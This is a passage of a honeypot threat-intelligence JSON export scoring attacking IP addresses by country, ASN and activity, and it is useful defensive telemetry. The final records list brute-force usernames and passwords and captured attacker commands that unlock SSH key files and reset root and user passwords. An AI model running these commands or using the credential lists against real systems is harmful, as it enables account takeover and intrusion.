      "country": "Japan",
      "country_code": "JP",
      "city": "Gifu",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T10:46:54.952000+00:00",
        "last_seen_30d": "2026-04-24T10:48:11.604000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.144.127.82": {
      "attack_count": 2,
      "first_seen": "2026-04-26T06:06:18.015Z",
      "last_seen": "2026-04-26T06:06:30.575Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T06:06:18.015000+00:00",
        "last_seen_30d": "2026-04-26T06:07:38.086000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "134.199.160.74": {
      "attack_count": 2,
      "first_seen": "2026-04-14T03:34:27.571Z",
      "last_seen": "2026-04-14T03:34:27.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T19:44:52+00:00",
        "last_seen_30d": "2026-04-14T03:35:34.032000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "144.31.86.129": {
      "attack_count": 2,
      "first_seen": "2026-04-20T22:19:01.332Z",
      "last_seen": "2026-04-20T22:19:06.432Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213877,
      "as_org": "U1 Digital Services Ltd",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T22:19:01.332000+00:00",
        "last_seen_30d": "2026-04-20T22:20:08.585000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "169.224.32.232": {
      "attack_count": 2,
      "first_seen": "2026-04-29T09:36:49.452Z",
      "last_seen": "2026-04-29T09:37:01.752Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Basra",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:36:49.452000+00:00",
        "last_seen_30d": "2026-04-29T09:38:06.091000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.197.21.226": {
      "attack_count": 2,
      "first_seen": "2026-04-30T09:26:22.780Z",
      "last_seen": "2026-04-30T09:26:35.231Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:26:22.780000+00:00",
        "last_seen_30d": "2026-04-30T09:28:15.917000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.184.7.41": {
      "attack_count": 2,
      "first_seen": "2026-04-26T01:50:07.977Z",
      "last_seen": "2026-04-26T01:52:08.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Jiutepec",
      "asn": 28509,
      "as_org": "Cablemas Telecomunicaciones SA de CV",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T01:50:07.977000+00:00",
        "last_seen_30d": "2026-04-26T02:02:50.881000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "191.181.10.23": {
      "attack_count": 2,
      "first_seen": "2026-04-25T09:12:35.834Z",
      "last_seen": "2026-04-25T09:12:39.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T09:12:35.834000+00:00",
        "last_seen_30d": "2026-04-25T09:22:42.196000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.187.178.194": {
      "attack_count": 2,
      "first_seen": "2026-04-16T16:11:24.134Z",
      "last_seen": "2026-04-16T16:11:28.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T16:11:24.134000+00:00",
        "last_seen_30d": "2026-04-16T16:12:30.634000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.217.0.109": {
      "attack_count": 2,
      "first_seen": "2026-04-28T09:27:55.657Z",
      "last_seen": "2026-04-28T09:28:09.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 11259,
      "as_org": "ANGOLATELECOM",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:27:55.657000+00:00",
        "last_seen_30d": "2026-04-28T09:29:15.878000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.235": {
      "attack_count": 2,
      "first_seen": "2026-04-27T18:42:20.882Z",
      "last_seen": "2026-04-27T18:42:21.230Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T08:32:14+00:00",
        "last_seen_30d": "2026-04-30T02:49:51.544000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 28,
        "Cowrie": 2
      }
    },
    "198.235.24.246": {
      "attack_count": 2,
      "first_seen": "2026-04-06T16:57:24.080Z",
      "last_seen": "2026-04-06T16:57:55.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 25,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T16:57:24.080000+00:00",
        "last_seen_30d": "2026-04-30T05:46:33.021000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 34,
        "Cowrie": 2
      }
    },
    "2.87.247.76": {
      "attack_count": 2,
      "first_seen": "2026-04-01T00:12:37.855Z",
      "last_seen": "2026-04-01T00:12:51.051Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Peristeri",
      "asn": 6799,
      "as_org": "OTEnet S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:12:37.855000+00:00",
        "last_seen_30d": "2026-04-01T00:13:56.917000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.216.93.170": {
      "attack_count": 2,
      "first_seen": "2026-04-26T11:37:17.615Z",
      "last_seen": "2026-04-26T11:39:17.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Montes Claros",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T11:37:17.615000+00:00",
        "last_seen_30d": "2026-04-26T11:50:02.710000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "206.189.75.42": {
      "attack_count": 2,
      "first_seen": "2026-04-13T09:41:10.303Z",
      "last_seen": "2026-04-13T09:41:10.452Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-13T09:41:10.303000+00:00",
        "last_seen_30d": "2026-04-14T06:23:30.915000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "217.168.73.222": {
      "attack_count": 2,
      "first_seen": "2026-04-05T20:16:48.207Z",
      "last_seen": "2026-04-05T20:17:01.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:16:48.207000+00:00",
        "last_seen_30d": "2026-04-05T20:18:07.039000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.224.125.54": {
      "attack_count": 2,
      "first_seen": "2026-04-20T06:26:30.317Z",
      "last_seen": "2026-04-20T06:28:30.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Pugoda",
      "asn": 132124,
      "as_org": "Information and Communication Technology Agency of Sri Lanka",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T06:26:30.317000+00:00",
        "last_seen_30d": "2026-04-20T06:38:30.994000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.156.129.134": {
      "attack_count": 2,
      "first_seen": "2026-04-12T07:52:06.373Z",
      "last_seen": "2026-04-12T07:52:11.638Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T21:28:26.552000+00:00",
        "last_seen_30d": "2026-04-29T13:22:51.606000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 3,
        "Cowrie": 2,
        "H0neytr4p": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1
      }
    },
    "45.187.235.32": {
      "attack_count": 2,
      "first_seen": "2026-04-27T16:24:06.155Z",
      "last_seen": "2026-04-27T16:26:06.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Valpara\u00edso de Goi\u00e1s",
      "asn": 266207,
      "as_org": "Onitel Telecomunicacoes",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T16:24:06.155000+00:00",
        "last_seen_30d": "2026-04-27T16:36:43.899000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.77.88.90": {
      "attack_count": 2,
      "first_seen": "2026-04-16T11:56:58.995Z",
      "last_seen": "2026-04-16T11:57:29.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T11:56:58.995000+00:00",
        "last_seen_30d": "2026-04-16T11:58:36.291000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "75.111.180.138": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:24:31.365Z",
      "last_seen": "2026-04-24T09:24:43.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lubbock",
      "asn": 19108,
      "as_org": "Optimum",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:24:31.365000+00:00",
        "last_seen_30d": "2026-04-24T09:25:43.944000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.189.53.168": {
      "attack_count": 2,
      "first_seen": "2026-04-07T18:41:10.835Z",
      "last_seen": "2026-04-07T18:41:47.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bergama",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:41:10.835000+00:00",
        "last_seen_30d": "2026-04-07T18:42:49.290000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.165": {
      "attack_count": 2,
      "first_seen": "2026-04-13T06:43:35.114Z",
      "last_seen": "2026-04-13T06:43:38.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 20.8,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 25,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T10:28:31+00:00",
        "last_seen_30d": "2026-04-27T06:45:54.124000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "92.238.107.222": {
      "attack_count": 2,
      "first_seen": "2026-04-28T02:43:22.764Z",
      "last_seen": "2026-04-28T02:45:22.769Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Chesterfield",
      "asn": 5089,
      "as_org": "Virgin Media",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:43:22.764000+00:00",
        "last_seen_30d": "2026-04-28T02:56:21.083000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "193.39.208.26": {
      "attack_count": 732,
      "first_seen": "2026-04-07T16:50:28.326Z",
      "last_seen": "2026-04-08T06:16:50.334Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "steam",
        "ubuntu",
        "user",
        "grid",
        "hssuser",
        "serv",
        "ali",
        "bot",
        "bruce",
        "comp",
        "dev",
        "jira",
        "oem",
        "patrick",
        "radio",
        "sasha",
        "sftptest1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1122334455",
        "123456",
        "12345678",
        "123QWE123qwe",
        "1q2w3e4R",
        "8ik,!@",
        "Admin123",
        "Ali31",
        "Default2025!",
        "Dev27",
        "Lapsus123$%",
        "P@ssword123",
        "Qazwsx2026@#",
        "Qwerty",
        "Root0@#",
        "Root12!@#",
        "Steam23!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssword123\\nSFvdNcaunBEr\\nSFvdNcaunBEr\\n\"|passwd",
        "echo \"Steam23!\\nC7qXyuqmM15d\\nC7qXyuqmM15d\\n\"|passwd",
        "echo \"Test26\\nH92qvPf2YYRt\\nH92qvPf2YYRt\\n\"|passwd",
        "echo \"User@2025\\ntuSihnSe66oD\\ntuSihnSe66oD\\n\"|passwd",
        "echo \"hssuser\\nZ32kNuLLGUyr\\nZ32kNuLLGUyr\\n\"|passwd",
        "echo \"root:n53GrZcqZTNi\"|chpasswd|bash",
        "echo \"serv\\nWYqCkD4uJoZs\\nWYqCkD4uJoZs\\n\"|passwd",
        "echo -e \"P@ssword123\\nSFvdNcaunBEr\\nSFvdNcaunBEr\"|passwd|bash",
        "echo -e \"Steam23!\\nC7qXyuqmM15d\\nC7qXyuqmM15d\"|passwd|bash",
        "echo -e \"Test26\\nH92qvPf2YYRt\\nH92qvPf2YYRt\"|passwd|bash",
        "echo -e \"User@2025\\ntuSihnSe66oD\\ntuSihnSe66oD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 875,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T16:50:28.326000+00:00",
        "last_seen_30d": "2026-04-08T06:17:55.124000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 732,
        "Suricata": 143
      }
    },
    "43.159.177.40": {
      "attack_count": 662,
      "first_seen": "2026-04-04T06:30:00.413Z",
      "last_seen": "2026-04-08T19:17:02.246Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "steam",
        "admin",
        "deploy",
        "jk",
        "misuser",
        "odoo",
        "claude",
        "consulta",
        "db2inst1",
        "deployer",
        "dev",
        "ftp-test",
        "ftpuser",
        "git",
        "myuser",
        "n8n",
        "readarr"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "123qwe",
        "123qwe!@",
        "124",
        "1QA2ws3ed",
        "1qaz2wsx!@#",
        "21Vianet",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Master123!",
        "P@ssw0rd",
        "Qwertyu12345",
        "Steam!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
